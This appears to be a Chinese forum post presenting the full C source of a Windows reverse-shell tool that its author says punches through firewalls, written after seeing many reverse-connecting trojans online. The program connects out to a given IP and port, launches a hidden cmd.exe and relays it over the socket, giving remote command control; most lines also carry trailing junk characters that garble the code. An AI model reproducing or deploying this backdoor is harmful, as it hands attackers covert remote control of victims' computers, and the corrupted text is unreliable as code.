这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \f(zMP
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/* ============================== u7RlxA:
Rebound port in Windows NT ">3t+A
By wind,2006/7 1i~q~O,
===============================*/ +lVA$]d
#include
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#include D|m3.si
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#pragma comment(lib,"wsock32.lib") ]adgOlM
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void OutputShell(); L*,h=#x(
SOCKET sClient; H&p:
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /^k%sG@?
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void main(int argc,char **argv) dhnX\/
{ !y/e
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WSADATA stWsaData; vazA@|^8
int nRet; Y`eF9Im,
SOCKADDR_IN stSaiClient,stSaiServer; "!AtS
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if(argc != 3) !o?&{"#+
{ jIrfJ*z
printf("Useage:\n\rRebound DestIP DestPort\n"); $':5uU1}
return; UQ;2g\([
} ty"L&$bf
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WSAStartup(MAKEWORD(2,2),&stWsaData); %cUC~, g_(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]cS(2hP7
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stSaiClient.sin_family = AF_INET; (?^ F }]
stSaiClient.sin_port = htons(0); ^p9V5o
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Tsb}\
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) \7*|u
{ UF-'(
printf("Bind Socket Failed!\n"); #\^=3A|b
return; phf{b+'#X
} '/6f2[%Y"
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stSaiServer.sin_family = AF_INET; `5wiXsNjLY
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); w6X:39d
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4^:dmeMZ`
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) AA=rjB9
{ 4[]*=
printf("Connect Error!"); glU9A39qx?
return; ^AJ
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} '/ Hoq
OutputShell(); <a
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} =P9rOK=
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void OutputShell() RHNAHw9
{ s[h;9
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char szBuff[1024]; ftPhE)i
SECURITY_ATTRIBUTES stSecurityAttributes; ^lZ7% 6
OSVERSIONINFO stOsversionInfo; pKj:)6t"
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Z]TQ+9t
STARTUPINFO stStartupInfo; |;)_-=L0P
char *szShell; >yn]h4M
PROCESS_INFORMATION stProcessInformation; lt:&lIW,3
unsigned long lBytesRead; N}7b^0k
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); sH2xkUp
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); sn^ 3xAF
stSecurityAttributes.lpSecurityDescriptor = 0; .|07IH/Di{
stSecurityAttributes.bInheritHandle = TRUE; VWK/(>TP
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Cu24xP`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); : fYfXm
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Gsy>"T{CY
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y_q1Y70i2r
stStartupInfo.wShowWindow = SW_HIDE; ;R2A>f~
stStartupInfo.hStdInput = hReadPipe; h>[ qXz
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; z(^dwMw}
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GetVersionEx(&stOsversionInfo); NopfL
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switch(stOsversionInfo.dwPlatformId) Viw,YkC
{ <b_K*]Z
case 1: sg}<()
szShell = "command.com"; ,%xat`d3,3
break; N2[j By8M
default: bDh4p]lm
szShell = "cmd.exe"; C Q iHk
break; UukY9n];]
} noa+h<vGb
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vShB26b
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send(sClient,szMsg,77,0); 4h--x~ @
while(1) 04v
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{ \vc&V8
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); tS3&&t
if(lBytesRead) AT3HHQD
{ DaHbOs_<
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3PRU
send(sClient,szBuff,lBytesRead,0); U*sQ5uq
} S\t!7Xs%*U
else ebCS4&c
{ L1Yj9i
lBytesRead=recv(sClient,szBuff,1024,0); 'w72i/
if(lBytesRead<=0) break; 1'TS!/ll];
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); tq'hiS(b
} s%Ph
} fQ!W)>mi
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return; T>#~.4A0
}